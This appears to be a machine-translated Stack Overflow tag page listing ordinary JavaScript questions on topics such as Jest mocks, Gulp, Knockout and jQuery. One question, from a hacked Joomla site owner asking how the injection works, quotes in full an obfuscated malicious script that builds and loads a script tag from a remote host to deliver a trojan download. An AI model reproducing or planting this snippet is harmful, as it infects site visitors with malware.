Questions tagged «javascript»

有关在ECMAScript(JavaScript / JS)及其各种方言/实现(不包括ActionScript)中进行编程的问题。此标记很少单独使用,但最常与标记[node.js],[jquery],[json]和[html]关联。

15
在javascript中编码html实体
我在允许用户输入内容的CMS中工作。问题在于,当他们添加符号时®,它可能无法在所有浏览器中正常显示。我想设置一个必须搜索的符号列表,然后将其转换为相应的html实体。例如 ®=> ® &=> & ©=> © ™=>™ 转换后,需要将其包装在<sup>标签中,从而导致: ® => <sup>®</sup> 因为必须使用特定的字体大小和填充样式: sup { font-size: 0.6em; padding-top: 0.2em; } JavaScript会是这样吗? var regs = document.querySelectorAll('®'); for ( var i = 0, l = imgs.length; i < l; ++i ) { var [?] = regs[i]; var [?] = document.createElement('sup'); img.parentNode.insertBefore([?]); div.appendChild([?]); …
100 javascript  html 

10
用打字稿开玩笑地模拟依赖
测试在其他文件中具有依赖性的模块时。当将该模块分配为jest.Mock打字稿时,会给出错误mockReturnThisOnce(该方法(或任何其他jest.Mock方法)不依赖),这是因为先前已键入该方法。使打字稿继承jest.Mock中的类型的正确方法是什么? 这是一个简单的例子。 相依性 const myDep = (name: string) => name; export default myDep; 测试 import * as dep from '../depenendency'; jest.mock('../dependency'); it('should do what I need', () => { //this throws ts error // Property mockReturnValueOnce does not exist on type (name: string).... dep.default.mockReturnValueOnce('return') } 我觉得这是一个非常常见的用例,不确定如何正确键入。任何帮助将非常感激!



8
该站点感染脚本如何工作?
我的Joomla!网站已被多次入侵。有人以某种方式设法将以下垃圾注入了关键的php脚本,但我的意思是不谈论配置Joomla。该站点的访问量很少(有时我担心我可能是该站点的唯一访问者...),而且我不太在乎如何备份和运行该站点。我最终会解决的。 我的问题是,这种垃圾如何起作用?我看了一下,只是看不出这怎么造成任何伤害?它的作用是尝试下载一个名为ChangeLog.pdf的PDF文件,该文件感染了特洛伊木马,打开后将冻结Acrobat,并在计算机上造成严重破坏。它是如何做到的,我不知道,我不在乎。但是下面的脚本如何调用下载? <script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script> <!--6f471c20c9b96fed179c85ffdd3365cf--> ESET已将此代码检测为JS / TrojanDownloader.Agent.NRO木马


4
使用Gulp.js和通配模式在适当位置修改文件(相同目标)
我有一个gulp任务,试图将.scss文件转换为.css文件(使用gulp-ruby-sass),然后将生成的.css文件放到找到原始文件的位置。问题是,由于我使用的是遍历模式,因此我不一定知道原始文件的存储位置。 在下面的代码中,我尝试使用gulp-tap进入流并找出从中读取流的当前文件的文件路径: gulp.task('convertSass', function() { var fileLocation = ""; gulp.src("sass/**/*.scss") .pipe(sass()) .pipe(tap(function(file,t){ fileLocation = path.dirname(file.path); console.log(fileLocation); })) .pipe(gulp.dest(fileLocation)); }); 根据的输出console.log(fileLocation),此代码似乎应该可以正常工作。但是,生成的CSS文件似乎比我期望的高了一个目录。结果应该在哪里project/sass/partials,文件路径应该是project/partials。 如果这样做的方法要简单得多,那么我肯定会更喜欢该解决方案。谢谢!

13
jQuery弹出气泡/工具提示[关闭]
关闭。此问题不符合堆栈溢出准则。它当前不接受答案。 想改善这个问题吗?更新问题,使其成为Stack Overflow 的主题。 5年前关闭。 改善这个问题 我正在尝试创建一个“气泡”,该气泡可以在onmouseover事件触发时弹出,并且只要鼠标悬停在引发onmouseover事件的项目上方,或者如果将鼠标移到气泡中,它就会保持打开状态。我的气泡需要具有各种HTML和样式,包括超链接,图像等。 我基本上通过编写约200行丑陋的JavaScript来实现了这一目标,但是我真的很想找到一个jQuery插件或其他一些方法来解决这一问题。
99 javascript  jquery  html  css 

4
调用ko.applyBindings时获取“无法读取null的属性'nodeType'”
我有此基因剔除代码: function Task(data) { this.title = ko.observable(data.title); this.isDone = ko.observable(data.isDone); } function TaskListViewModel() { // Data var self = this; self.tasks = ko.observableArray([]); self.newTaskText = ko.observable(); self.incompleteTasks = ko.computed(function() { return ko.utils.arrayFilter(self.tasks(), function(task) { return !task.isDone() }); }); // Operations self.addTask = function() { self.tasks.push(new Task({ title: this.newTaskText() })); self.newTaskText(""); …

9
我可以通过JavaScript禁用CSS:hover效果吗?
我试图阻止浏览器:hover通过JavaScript 使用CSS 的效果。 我在CSS中设置了a和a:hover样式,因为如果JS不可用,我希望获得悬浮效果。但是,如果有可用的JS ,我想用更平滑的效果覆盖CSS悬停效果(例如,使用jQuery color插件)。 我尝试了这个: $("ul#mainFilter a").hover( function(e){ e.preventDefault(); ...do my stuff... }, function(e){ e.preventDefault(); ...do my stuff... }); 我也尝试过使用return false;,但是它不起作用。 这是我的问题的一个示例:http : //jsfiddle.net/4rEzz/。链接应该淡出而不会变灰。 如fudgey所述,一种解决方法是使用重置悬停样式,.css()但我必须覆盖CSS中指定的每个属性(请参见http://jsfiddle.net/raPeX/1/)。我正在寻找一个通用的解决方案。 有谁知道如何做到这一点? PS:我不想覆盖为悬停设置的所有样式。
99 javascript  jquery  css 

5
如何使用Grunt.js(0.3.x)连接和缩小多个CSS和JavaScript文件
注意:此问题仅与Grunt 0.3.x有关,已留作参考。有关最新的Grunt 1.x版本的帮助,请参阅此问题下方的我的评论。 我目前正在尝试使用Grunt.js设置自动构建过程,以便首先进行串联,然后最小化CSS和JavaScript文件。 我已经能够成功地串联和最小化我的JavaScript文件,尽管每次运行grunt时,它似乎只是追加到文件中而不是覆盖它们。 至于缩小甚至连接CSS,到目前为止,我还无法做到这一点! 就笨拙的CSS模块而言,我尝试使用consolidate-css,grunt-css&,cssmin但无济于事。无法理解如何使用它们! 我的目录结构如下(是一个典型的node.js应用程序): app.js grunt.js /public/index.html / public / css / [各种CSS文件] / public / js / [各种javascript文件] 这是我的grunt.js文件当前在我的应用程序的根文件夹中的样子: module.exports = function(grunt) { // Project configuration. grunt.initConfig({ pkg: '<json:package.json>', concat: { dist: { src: 'public/js/*.js', dest: 'public/js/concat.js' } }, min: { dist: { src: 'public/js/concat.js', …


8
jQuery可以将Cookie读取/写入浏览器吗?
一个简单的例子:我想在页面上有一些项目(例如div或表行),并且我想让用户单击它们以选择它们。在jQuery中,这似乎很容易。为了保存用户单击的项目而没有服务器端回发,我认为cookie是完成此操作的一种简单方法。 在这种情况下,这种cookie是否正确的假设正确吗? 如果正确,那么jQuery API是否可以通过某种方式来读取/写入比默认JavaScript API更好的cookie信息?

8
如何“最小化” JavaScript代码
JQuery有两个可供下载的版本,一个是Production(生产版)(19KB,最小化和压缩),另一个是Development(开发版)(120KB,未压缩的代码)。 现在紧凑的19kb版本,如果您下载它,将会看到仍然是javascript可执行代码。他们如何压缩它?我又该如何“缩小”我的代码?
99 javascript  gzip 

14
单页JavaScript Web应用程序的体系结构?
如何在客户端上构建复杂的单页JS Web应用程序?具体来说,我很好奇如何根据应用程序的模型对象,UI组件,任何控制器以及处理服务器持久性的对象来干净地构建应用程序。 起初,MVC似乎很合适。但是,由于UI组件嵌套在不同的深度(每个组件都有自己的作用于模型数据/对模型数据进行响应的方式,并且每个组件都会生成它们自己可能会或可能不会直接处理的事件),因此似乎无法完全应用MVC。(但如果不是这种情况,请纠正我。) - (此问题提出了关于使用ajax的两个建议,显然,除了最简单的一页应用程序之外,其他任何东西都需要使用ajax。)

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.